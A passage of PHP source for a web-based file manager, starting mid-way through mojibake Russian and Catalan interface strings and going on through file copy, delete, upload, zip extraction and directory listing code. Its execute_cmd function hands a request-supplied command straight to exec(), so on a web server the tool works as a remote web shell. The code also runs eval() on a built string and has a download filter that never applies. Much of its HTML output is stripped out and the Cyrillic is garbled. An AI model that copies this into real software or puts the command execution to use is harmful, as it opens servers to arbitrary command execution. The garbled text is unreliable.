Ñохранена'; $ru['PassSaved']='Пароль Ñохранен'; $ru['FileDirExists']='Файл или каталог уже ÑущеÑтвует'; $ru['NoPhpinfo']='Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ PHPInfo отключена'; $ru['NoReturn']='Ðет возврата'; $ru['FileSent']='Файл отправлен'; $ru['SpaceLimReached']='ДоÑтигнут предел ПроÑтранÑтва'; $ru['InvExt']='Ðеверное раÑширение'; $ru['FileNoOverw']='Файл не может быть перезапиÑан '; $ru['FileOverw']='Файл перезапиÑываетÑÑ'; $ru['FileIgnored']='Файл игнорируетÑÑ'; $ru['ChkVer']='Проверить обновление'; $ru['ChkVerAvailable']=' ДоÑтупна Ð½Ð¾Ð²Ð°Ñ Ð²ÐµÑ€ÑиÑ, нажмите здеÑÑŒ, чтобы начать загрузку! '; $ru['ChkVerNotAvailable']='Ðет новой верÑии. :('; $ru['ChkVerError']='Ошибка подключениÑ. '; $ru['Website']='Сайт'; $ru['SendingForm']='Отправка файлов, пожалуйÑта, подождите '; $ru['NoFileSel']='Ðет выбранных файлов'; $ru['SelAll']='Выделить вÑе'; $ru['SelNone']='Отмена'; $ru['SelInverse']='Обратить'; $ru['Selected_s']='Выбран'; $ru['Total']='Ð’Ñего'; $ru['Partition']='Раздел'; $ru['RenderTime']='Скрипт выполнен за'; $ru['Seconds']='Секунд'; $ru['ErrorReport']='Отчет об ошибках'; // Catalan - by Pere Borràs AKA @Norl $cat['Version'] = 'Versió'; $cat['DocRoot'] = 'Arrel del programa'; $cat['FLRoot'] = 'Arrel de l`administrador d`arxius'; $cat['Name'] = 'Nom'; $cat['And'] = 'i'; $cat['Enter'] = 'Entrar'; $cat['Send'] = 'Enviar'; $cat['Refresh'] = 'Refrescar'; $cat['SaveConfig'] = 'Desar configuracions'; $cat['SavePass'] = 'Desar clau'; $cat['SaveFile'] = 'Desar Arxiu'; $cat['Save'] = 'Desar'; $cat['Leave'] = 'Sortir'; $cat['Edit'] = 'Editar'; $cat['View'] = 'Mirar'; $cat['Config'] = 'Config.'; $cat['Ren'] = 'Canviar nom'; $cat['Rem'] = 'Esborrar'; $cat['Compress'] = 'Comprimir'; $cat['Decompress'] = 'Descomprimir'; $cat['ResolveIDs'] = 'Resoldre IDs'; $cat['Move'] = 'Moure'; $cat['Copy'] = 'Copiar'; $cat['ServerInfo'] = 'Info del Server'; $cat['CreateDir'] = 'Crear Directori'; $cat['CreateArq'] = 'Crear Arxiu'; $cat['ExecCmd'] = 'Executar Comandament'; $cat['Upload'] = 'Pujar'; $cat['UploadEnd'] = 'Pujat amb èxit'; $cat['Perm'] = 'Perm'; $cat['Perms'] = 'Permisos'; $cat['Owner'] = 'Propietari'; $cat['Group'] = 'Grup'; $cat['Other'] = 'Altre'; $cat['Size'] = 'Tamany'; $cat['Date'] = 'Data'; $cat['Type'] = 'Tipus'; $cat['Free'] = 'lliure'; $cat['Shell'] = 'Executar'; $cat['Read'] = 'Llegir'; $cat['Write'] = 'Escriure'; $cat['Exec'] = 'Executar'; $cat['Apply'] = 'Aplicar'; $cat['StickyBit'] = 'Sticky Bit'; $cat['Pass'] = 'Clau'; $cat['Lang'] = 'Llenguatje'; $cat['File'] = 'Arxius'; $cat['File_s'] = 'arxiu(s)'; $cat['Dir_s'] = 'directori(s)'; $cat['To'] = 'a'; $cat['Destination'] = 'Destí'; $cat['Configurations'] = 'Configuracions'; $cat['JSError'] = 'Error de JavaScript'; $cat['NoSel'] = 'No hi ha items seleccionats'; $cat['SelDir'] = 'Seleccioneu el directori de destí a l`arbre de la dreta'; $cat['TypeDir'] = 'Escrigui el nom del directori'; $cat['TypeArq'] = 'Escrigui el nom de l`arxiu'; $cat['TypeCmd'] = 'Escrigui el comandament'; $cat['TypeArqComp'] = 'Escrigui el nombre del directorio.\\nL`extensió definirà el tipus de compressió.\\nEx:\\nnom.zip\\nnom.tar\\nnom.bzip\\nnom.gzip'; $cat['RemSel'] = 'ESBORRAR items seleccionats'; $cat['NoDestDir'] = 'No s`ha seleccionat el directori de destí'; $cat['DestEqOrig'] = 'L`origen i el destí són iguals'; $cat['InvalidDest'] = 'El destí del directori és invàlid'; $cat['NoNewPerm'] = 'Els permisos no s`han pogut establir'; $cat['CopyTo'] = 'COPIAR a'; $cat['MoveTo'] = 'MOURE a'; $cat['AlterPermTo'] = 'CAMBIAR PERMISOS a'; $cat['ConfExec'] = 'Confirmar EXECUCIÓ'; $cat['ConfRem'] = 'Confirmar ESBORRAT'; $cat['EmptyDir'] = 'Directori buit'; $cat['IOError'] = 'Error I/O'; $cat['FileMan'] = 'PHP File Manager'; $cat['TypePass'] = 'Escrigui la clau'; $cat['InvPass'] = 'Clau invàlida'; $cat['ReadDenied'] = 'Accés de lectura denegat'; $cat['FileNotFound'] = 'Arxiu no trobat'; $cat['AutoClose'] = 'Tancar al completar'; $cat['OutDocRoot'] = 'Arxiu abans de DOCUMENT_ROOT'; $cat['NoCmd'] = 'Error: No s`ha escrit cap comandament'; $cat['ConfTrySave'] = 'Arxiu sense permisos d`escriptura.\\nIntenteu desar a un altre lloc'; $cat['ConfSaved'] = 'Configuració Desada'; $cat['PassSaved'] = 'Clau desada'; $cat['FileDirExists'] = 'Arxiu o directori ja existent'; $cat['NoPhpinfo'] = 'Funció phpinfo() no habilitada'; $cat['NoReturn'] = 'sense retorn'; $cat['FileSent'] = 'Arxiu enviat'; $cat['SpaceLimReached'] = 'Límit d`espaci al disc assolit'; $cat['InvExt'] = 'Extensió no vàlida'; $cat['FileNoOverw'] = 'L`arxiu no ha pogut ser sobreescrit'; $cat['FileOverw'] = 'Arxiu sobreescrit'; $cat['FileIgnored'] = 'Arxiu ignorat'; $cat['ChkVer'] = 'Revisar les actualitzacions'; $cat['ChkVerAvailable'] = 'Nova versió, feu clic aquí per descarregar'; $cat['ChkVerNotAvailable'] = 'La vostra versió és la més recent.'; $cat['ChkVerError'] = 'Error de connexió.'; $cat['Website'] = 'Lloc Web'; $cat['SendingForm'] = 'Enviant arxius, esperi'; $cat['NoFileSel'] = 'Cap arxiu seleccionat'; $cat['SelAll'] = 'Tots'; $cat['SelNone'] = 'Cap'; $cat['SelInverse'] = 'Invers'; $cat['Selected_s'] = 'seleccionat'; $cat['Total'] = 'total'; $cat['Partition'] = 'Partició'; $cat['RenderTime'] = 'Generat en'; $cat['Seconds'] = 'seg'; $cat['ErrorReport'] = 'Informe d`error'; $lang_ = $$lang; if (isset($lang_[$tag])) return html_encode($lang_[$tag]); //else return "[$tag]"; // So we can know what is missing return $en[$tag]; } // +-------------------------------------------------- // | File System // +-------------------------------------------------- function total_size($arg) { $total = 0; if (file_exists($arg)) { if (is_dir($arg)) { $handle = opendir($arg); while($aux = readdir($handle)) { if ($aux != "." && $aux != "..") $total += total_size($arg."/".$aux); } @closedir($handle); } else $total = filesize($arg); } return $total; } function total_delete($arg) { if (file_exists($arg)) { @chmod($arg,0755); if (is_dir($arg)) { $handle = opendir($arg); while($aux = readdir($handle)) { if ($aux != "." && $aux != "..") total_delete($arg."/".$aux); } @closedir($handle); rmdir($arg); } else unlink($arg); } } function total_copy($orig,$dest) { $ok = true; if (file_exists($orig)) { if (is_dir($orig)) { mkdir($dest,0755); $handle = opendir($orig); while(($aux = readdir($handle))&&($ok)) { if ($aux != "." && $aux != "..") $ok = total_copy($orig."/".$aux,$dest."/".$aux); } @closedir($handle); } else $ok = copy((string)$orig,(string)$dest); } return $ok; } function total_move($orig,$dest) { // Just why doesn't it has a MOVE alias?! return rename((string)$orig,(string)$dest); } function download(){ global $current_dir,$filename; $file = $current_dir.$filename; if(file_exists($file)){ $is_denied = false; foreach($download_ext_filter as $key=>$ext){ if (eregi($ext,$filename)){ $is_denied = true; break; } } if (!$is_denied){ $size = filesize($file); header("Content-Type: application/save"); header("Content-Length: $size"); header("Content-Disposition: attachment; filename=\"$filename\""); header("Content-Transfer-Encoding: binary"); if ($fh = fopen("$file", "rb")){ fpassthru($fh); fclose($fh); } else alert(et('ReadDenied').": ".$file); } else alert(et('ReadDenied').": ".$file); } else alert(et('FileNotFound').": ".$file); } function execute_cmd(){ global $cmd; header("Content-type: text/plain"); if (strlen($cmd)){ echo "# ".$cmd."\n"; exec($cmd,$mat); if (count($mat)) echo trim(implode("\n",$mat)); else echo "exec(\"$cmd\") ".et('NoReturn')."..."; } else echo et('NoCmd'); } function execute_file(){ global $current_dir,$filename; header("Content-type: text/plain"); $file = $current_dir.$filename; if(file_exists($file)){ echo "# ".$file."\n"; exec($file,$mat); if (count($mat)) echo trim(implode("\n",$mat)); } else alert(et('FileNotFound').": ".$file); } function save_upload($temp_file,$filename,$dir_dest) { global $upload_ext_filter; $filename = remove_special_chars($filename); $file = $dir_dest.$filename; $filesize = filesize($temp_file); $is_denied = false; foreach($upload_ext_filter as $key=>$ext){ if (eregi($ext,$filename)){ $is_denied = true; break; } } if (!$is_denied){ if (!check_limit($filesize)){ if (file_exists($file)){ if (unlink($file)){ if (copy($temp_file,$file)){ @chmod($file,0755); $out = 6; } else $out = 2; } else $out = 5; } else { if (copy($temp_file,$file)){ @chmod($file,0755); $out = 1; } else $out = 2; } } else $out = 3; } else $out = 4; return $out; } function zip_extract(){ global $cmd_arg,$current_dir,$islinux; $zip = zip_open($current_dir.$cmd_arg); if ($zip) { while ($zip_entry = zip_read($zip)) { if (zip_entry_filesize($zip_entry)) { $complete_path = $path.dirname(zip_entry_name($zip_entry)); $complete_name = $path.zip_entry_name($zip_entry); if(!file_exists($complete_path)) { $tmp = ''; foreach(explode('/',$complete_path) AS $k) { $tmp .= $k.'/'; if(!file_exists($tmp)) { @mkdir($current_dir.$tmp, 0755); } } } if (zip_entry_open($zip, $zip_entry, "r")) { if ($fd = fopen($current_dir.$complete_name, 'w')){ fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry))); fclose($fd); } else echo "fopen($current_dir.$complete_name) error
"; zip_entry_close($zip_entry); } else echo "zip_entry_open($zip,$zip_entry) error
"; } } zip_close($zip); } } // +-------------------------------------------------- // | Data Formating // +-------------------------------------------------- function html_encode($str){ global $charSet; $str = preg_replace(array('/&/', '//', '/"/'), array('&', '<', '>', '"'), $str); // Bypass PHP to allow any charset!! $str = htmlentities($str, ENT_QUOTES, $charSet, false); return $str; } function rep($x,$y){ if ($x) { $aux = ""; for ($a=1;$a<=$x;$a++) $aux .= $y; return $aux; } else return ""; } function str_zero($arg1,$arg2){ if (strstr($arg1,"-") == false){ $aux = intval($arg2) - strlen($arg1); if ($aux) return rep($aux,"0").$arg1; else return $arg1; } else { return "[$arg1]"; } } function replace_double($sub,$str){ $out=str_replace($sub.$sub,$sub,$str); while ( strlen($out) != strlen($str) ){ $str=$out; $out=str_replace($sub.$sub,$sub,$str); } return $out; } function remove_special_chars($str){ $str = trim($str); $str = strtr($str,"¥µÀÃÂÃÄÅÆÇÈÉÊËÌÃÃŽÃÃÑÒÓÔÕÖØÙÚÛÜÃßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ!@#%&*()[]{}+=?", "YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________"); $str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str)))); return $str; } function format_path($str){ global $islinux; $str = trim($str); $str = str_replace("..","",str_replace("\\","/",str_replace("\$","",$str))); $done = false; while (!$done) { $str2 = str_replace("//","/",$str); if (strlen($str) == strlen($str2)) $done = true; else $str = $str2; } $tam = strlen($str); if ($tam){ $last_char = $tam - 1; if ($str[$last_char] != "/") $str .= "/"; if (!$islinux) $str = ucfirst($str); } return $str; } function array_csort() { $args = func_get_args(); $marray = array_shift($args); $msortline = "return(array_multisort("; foreach ($args as $arg) { $i++; if (is_string($arg)) { foreach ($marray as $row) { $sortarr[$i][] = $row[$arg]; } } else { $sortarr[$i] = $arg; } $msortline .= "\$sortarr[".$i."],"; } $msortline .= "\$marray));"; eval($msortline); return $marray; } function show_perms( $P ) { $sP = ""; if($P & 0x1000) $sP .= 'p'; // FIFO pipe elseif($P & 0x2000) $sP .= 'c'; // Character special elseif($P & 0x4000) $sP .= 'd'; // Directory elseif($P & 0x6000) $sP .= 'b'; // Block special elseif($P & 0x8000) $sP .= '−'; // Regular elseif($P & 0xA000) $sP .= 'l'; // Symbolic Link elseif($P & 0xC000) $sP .= 's'; // Socket else $sP .= 'u'; // UNKNOWN $sP .= ""; // owner - group - others $sP .= (($P & 0x0100) ? 'r' : '−') . (($P & 0x0080) ? 'w' : '−') . (($P & 0x0040) ? (($P & 0x0800) ? 's' : 'x' ) : (($P & 0x0800) ? 'S' : '−')); $sP .= (($P & 0x0020) ? 'r' : '−') . (($P & 0x0010) ? 'w' : '−') . (($P & 0x0008) ? (($P & 0x0400) ? 's' : 'x' ) : (($P & 0x0400) ? 'S' : '−')); $sP .= (($P & 0x0004) ? 'r' : '−') . (($P & 0x0002) ? 'w' : '−') . (($P & 0x0001) ? (($P & 0x0200) ? 't' : 'x' ) : (($P & 0x0200) ? 'T' : '−')); return $sP; } function format_size($arg) { if ($arg>0){ $j = 0; $ext = array(" bytes"," Kb"," Mb"," Gb"," Tb"); while ($arg >= pow(1024,$j)) ++$j; return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1]; } else return "0 bytes"; } function get_size($file) { return format_size(filesize($file)); } function check_limit($new_filesize=0) { global $fm_current_root; global $quota_mb; if($quota_mb){ $total = total_size($fm_current_root); if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true; } return false; } function get_user($arg) { global $mat_passwd; $aux = "x:".trim($arg).":"; for($x=0;$x ...:::: ".et('FileMan')." $header "; } function reloadframe($ref,$frame_number,$Plus=""){ global $current_dir,$path_info; echo " "; } function alert($arg){ echo " "; } function tree($dir_before,$dir_current,$indice){ global $fm_current_root, $current_dir, $islinux; global $expanded_dir_list; $indice++; $num_dir = 0; $dir_name = str_replace($dir_before,"",$dir_current); $dir_before = str_replace("//","/",$dir_before); $dir_current = str_replace("//","/",$dir_current); $is_denied = false; if ($islinux) { $denied_list = "/proc#/dev"; $mat = explode("#",$denied_list); foreach($mat as $key => $val){ if ($dir_current == $val){ $is_denied = true; break; } } unset($mat); } if (!$is_denied){ if ($handle = @opendir($dir_current)){ // Permitido while ($file = readdir($handle)){ if ($file != "." && $file != ".." && is_dir("$dir_current/$file")) $mat_dir[] = $file; } @closedir($handle); if (count($mat_dir)){ sort($mat_dir,SORT_STRING); // with Sub-dir if ($indice != 0){ for ($aux=1;$aux<$indice;$aux++) echo "    "; } if ($dir_before != $dir_current){ if (strstr($expanded_dir_list,":$dir_current/$dir_name")) $op_str = "[–]"; else $op_str = "[+]"; echo "$op_str $dir_name
\n"; } else { echo "$fm_current_root
\n"; } for ($x=0;$x[  ]"; echo " $dir_name
\n"; } else { echo " $fm_current_root
\n"; } } } else { // denied if ($dir_before != $dir_current){ for ($aux=1;$aux<$indice;$aux++) echo "    "; echo "[  ]"; echo " $dir_name
\n"; } else { echo " $fm_current_root
\n"; } } } else { // denied if ($dir_before != $dir_current){ for ($aux=1;$aux<$indice;$aux++) echo "    "; echo "[  ]"; echo " $dir_name
\n"; } else { echo " $fm_current_root
\n"; } } } function show_tree(){ global $fm_current_root,$path_info,$setflag,$islinux,$cookie_cache_time; html_header(" "); echo "\n"; echo " "; echo "\n"; echo ""; echo ""; echo " "; echo "
"; if (!$islinux){ echo " "; } echo "
"; clearstatcache(); tree($fm_current_root,$fm_current_root,-1,0); echo "
\n"; echo "\n"; } function getmicrotime(){ list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } function dir_list_form() { global $fm_current_root,$current_dir,$quota_mb,$resolveIDs,$order_dir_list_by,$islinux,$cmd_name,$ip,$path_info,$fm_color; $ti = getmicrotime(); clearstatcache(); $out = "\n"; if ($opdir = @opendir($current_dir)) { $has_files = false; $entry_count = 0; $total_size = 0; $entry_list = array(); while ($file = readdir($opdir)) { if (($file != ".")&&($file != "..")){ $entry_list[$entry_count]["size"] = 0; $entry_list[$entry_count]["sizet"] = 0; $entry_list[$entry_count]["type"] = "none"; if (is_file($current_dir.$file)){ $ext = lowercase(strrchr($file,".")); $entry_list[$entry_count]["type"] = "file"; // Função filetype() returns only "file"... $entry_list[$entry_count]["size"] = filesize($current_dir.$file); $entry_list[$entry_count]["sizet"] = format_size($entry_list[$entry_count]["size"]); if (strstr($ext,".")){ $entry_list[$entry_count]["ext"] = $ext; $entry_list[$entry_count]["extt"] = $ext; } else { $entry_list[$entry_count]["ext"] = ""; $entry_list[$entry_count]["extt"] = " "; } $has_files = true; } elseif (is_dir($current_dir.$file)) { // Recursive directory size disabled // $entry_list[$entry_count]["size"] = total_size($current_dir.$file); $entry_list[$entry_count]["size"] = 0; $entry_list[$entry_count]["sizet"] = " "; $entry_list[$entry_count]["type"] = "dir"; } $entry_list[$entry_count]["name"] = $file; $entry_list[$entry_count]["date"] = date("Ymd", filemtime($current_dir.$file)); $entry_list[$entry_count]["time"] = date("his", filemtime($current_dir.$file)); $entry_list[$entry_count]["datet"] = date("d/m/y h:i", filemtime($current_dir.$file)); if ($islinux && $resolveIDs){ $entry_list[$entry_count]["p"] = show_perms(fileperms($current_dir.$file)); $entry_list[$entry_count]["u"] = get_user(fileowner($current_dir.$file)); $entry_list[$entry_count]["g"] = get_group(filegroup($current_dir.$file)); } else { $entry_list[$entry_count]["p"] = base_convert(fileperms($current_dir.$file),10,8); $entry_list[$entry_count]["p"] = substr($entry_list[$entry_count]["p"],strlen($entry_list[$entry_count]["p"])-3); $entry_list[$entry_count]["u"] = fileowner($current_dir.$file); $entry_list[$entry_count]["g"] = filegroup($current_dir.$file); } $total_size += $entry_list[$entry_count]["size"]; $entry_count++; } } @closedir($opdir); if($entry_count){ $or1="1A"; $or2="2D"; $or3="3A"; $or4="4A"; $or5="5A"; $or6="6D"; $or7="7D"; switch($order_dir_list_by){ case "1A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or1="1D"; break; case "1D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_DESC); $or1="1A"; break; case "2A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2D"; break; case "2D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2A"; break; case "3A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC); $or3="3D"; break; case "3D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC); $or3="3A"; break; case "4A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC); $or4="4D"; break; case "4D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_DESC,"u",SORT_STRING,SORT_DESC); $or4="4A"; break; case "5A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_ASC); $or5="5D"; break; case "5D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_DESC); $or5="5A"; break; case "6A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_ASC,"time",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or6="6D"; break; case "6D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_DESC,"time",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or6="6A"; break; case "7A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or7="7D"; break; case "7D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or7="7A"; break; } } $out .= " "; $out .= " "; $out .= " "; $file_count = 0; $dir_count = 0; $dir_out = array(); $file_out = array(); $max_opt = 0; foreach ($entry_list as $ind=>$dir_entry) { $file = $dir_entry["name"]; if ($dir_entry["type"]=="dir"){ $dir_out[$dir_count] = array(); $dir_out[$dir_count][] = " "; $dir_out[$dir_count][] = ""; if ($islinux) { $dir_out[$dir_count][] = ""; $dir_out[$dir_count][] = ""; } $dir_out[$dir_count][] = ""; $dir_out[$dir_count][] = ""; if ($has_files) $dir_out[$dir_count][] = ""; // Opções de diretório if ( is_writable($current_dir.$file) ) $dir_out[$dir_count][] = " "; $file_out[$file_count][] = ""; if ($islinux) { $file_out[$file_count][] = ""; $file_out[$file_count][] = ""; } $file_out[$file_count][] = ""; $file_out[$file_count][] = ""; $file_out[$file_count][] = ""; // Opções de arquivo if ( is_writable($current_dir.$file) ) $file_out[$file_count][] = " "; if ( is_writable($current_dir.$file) ) $file_out[$file_count][] = " "; if ( is_readable($current_dir.$file) && (strpos(".wav#.mp3#.mid#.avi#.mov#.mpeg#.mpg#.rm#.iso#.bin#.img#.dll#.psd#.fla#.swf#.class#.ppt#.tif#.tiff#.pcx#.jpg#.gif#.png#.wmf#.eps#.bmp#.msi#.exe#.com#.rar#.tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) === false)) $file_out[$file_count][] = " "; if ( is_readable($current_dir.$file) && (strpos(".txt#.sys#.bat#.ini#.conf#.swf#.php#.php3#.asp#.html#.htm#.jpg#.gif#.png#.bmp#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = " "; if ( is_readable($current_dir.$file) && strlen($dir_entry["ext"]) && (strpos(".tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = " "; if ( is_readable($current_dir.$file) && strlen($dir_entry["ext"]) && (strpos(".exe#.com#.sh#.bat#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = " "; if (count($file_out[$file_count])>$max_opt){ $max_opt = count($file_out[$file_count]); } $file_count++; } } if ($dir_count){ $out .= " "; if ($islinux) $out .= " "; $out .= " "; if ($file_count) $out .= " "; $out .= " "; } foreach($dir_out as $k=>$v){ while (count($dir_out[$k])<$max_opt) { $dir_out[$k][] = ""; } $out .= implode($dir_out[$k]); $out .= ""; } if ($file_count){ $out .= " "; if ($islinux) $out .= " "; $out .= " "; } foreach($file_out as $k=>$v){ while (count($file_out[$k])<$max_opt) { $file_out[$k][] = ""; } $out .= implode($file_out[$k]); $out .= ""; } $out .= " "; $out .= " "; $out .= " "; if ($quota_mb) { $out .= " "; } else { $out .= " "; } $tf = getmicrotime(); $tt = ($tf - $ti); $out .= " "; $out .= " "; } else { $out .= " "; } } else $out .= "
$ip "; $uplink = ""; if ($current_dir != $fm_current_root || 1){ $mat = explode("/",$current_dir); $dir_before = ""; for($x=0;$x<(count($mat)-2);$x++) $dir_before .= $mat[$x]."/"; $uplink = "<< "; } if($entry_count){ $out .= "
$uplink $current_dir
"; if ($islinux) $out .= " "; $out .= " "; $out .= "
".et('SelDir')."...
$file".$dir_entry["p"]."".$dir_entry["u"]."".$dir_entry["g"]."".$dir_entry["sizet"]."".$dir_entry["datet"]." ".et('Rem').""; if ( is_writable($current_dir.$file) ) $dir_out[$dir_count][] = " ".et('Ren').""; if (count($dir_out[$dir_count])>$max_opt){ $max_opt = count($dir_out[$dir_count]); } $dir_count++; } else { $file_out[$file_count] = array(); $file_out[$file_count][] = "
$file".$dir_entry["p"]."".$dir_entry["u"]."".$dir_entry["g"]."".$dir_entry["sizet"]."".$dir_entry["datet"]."".$dir_entry["extt"]."".et('Rem').""; else $file_out[$file_count][] = " ".et('Ren').""; else $file_out[$file_count][] = " ".et('Edit').""; else $file_out[$file_count][] = " ".et('View').""; else $file_out[$file_count][] = " ".et('Decompress').""; else $file_out[$file_count][] = " ".et('Exec').""; else $file_out[$file_count][] = " 
".et('Name')." ".et('Perm')."".et('Owner')." ".et('Group')."".et('Size')." ".et('Date')."".et('Type')." 
 
".et('Name')." ".et('Perm')."".et('Owner')." ".et('Group')."".et('Size')." ".et('Date')." ".et('Type')."  
 
"; if ($islinux) $out .= " "; $out .= " "; $out .= "
$dir_count ".et('Dir_s')." ".et('And')." $file_count ".et('File_s')." = ".format_size($total_size)."
".et('Partition').": ".format_size(($quota_mb*1024*1024))." ".et('Total')." - ".format_size(($quota_mb*1024*1024)-total_size($fm_current_root))." ".et('Free')."
".et('Partition').": ".format_size(disk_total_space($current_dir))." ".et('Total')." - ".format_size(disk_free_space($current_dir))." ".et('Free')."
".et('RenderTime').": ".substr($tt,0,strrpos($tt,".")+5)." ".et('Seconds')."
$uplink$current_dir
".et('EmptyDir').".
".et('IOError').".
$current_dir
"; $out .= "
"; echo $out; } function upload_form(){ global $_FILES,$current_dir,$dir_dest,$fechar,$quota_mb,$path_info; $num_uploads = 5; html_header(); echo ""; if (count($_FILES)==0){ echo "
".et('Upload')."
".et('Destination').":$current_dir"; for ($x=0;$x<$num_uploads;$x++){ echo "
".et('File').":"; $test_js .= "(document.upload_form.file$x.value.length>0)||"; } echo "
".et('AutoClose')."
"; } else { $out = "".et('UploadEnd')." ".et('Destination').": $dir_dest"; for ($x=0;$x<$num_uploads;$x++){ $temp_file = $_FILES["file".$x]["tmp_name"]; $filename = $_FILES["file".$x]["name"]; if (strlen($filename)) $resul = save_upload($temp_file,$filename,$dir_dest); else $resul = 7; switch($resul){ case 1: $out .= "".str_zero($x+1,3).". ".et('FileSent').":".$filename."\n"; break; case 2: $out .= "".et('IOError')."\n"; $x = $upload_num; break; case 3: $out .= "".et('SpaceLimReached')." ($quota_mb Mb)\n"; $x = $upload_num; break; case 4: $out .= "".str_zero($x+1,3).". ".et('InvExt').":".$filename."\n"; break; case 5: $out .= "".str_zero($x+1,3).". ".et('FileNoOverw')."".$filename."\n"; break; case 6: $out .= "".str_zero($x+1,3).". ".et('FileOverw').":".$filename."\n"; break; case 7: $out .= "".str_zero($x+1,3).". ".et('FileIgnored')."\n"; } } if ($fechar) { echo " "; } else { echo " $out
"; } } echo "\n"; } function chmod_form(){ html_header(" "); echo "
".et('Perms')."
".et('Owner')." ".et('Group')." ".et('Other')."
".et('Read')."
".et('Write')."
".et('Exec')."
".et('StickyBit')."
\n"; } function get_mime_type($ext = ''){ $mimes = array( 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'doc' => 'application/msword', 'bin' => 'application/macbinary', 'dms' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'class' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'so' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'pptx' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php3' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'js' => 'application/x-javascript', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xhtml' => 'application/xhtml+xml', 'xht' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mpga' => 'audio/mpeg', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'rv' => 'video/vnd.rn-realvideo', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'txt' => 'text/plain', 'text' => 'text/plain', 'log' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'qt' => 'video/quicktime', 'mov' => 'video/quicktime', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie', 'doc' => 'application/msword', 'docx' => 'application/msword', 'word' => 'application/msword', 'xl' => 'application/excel', 'xls' => 'application/excel', 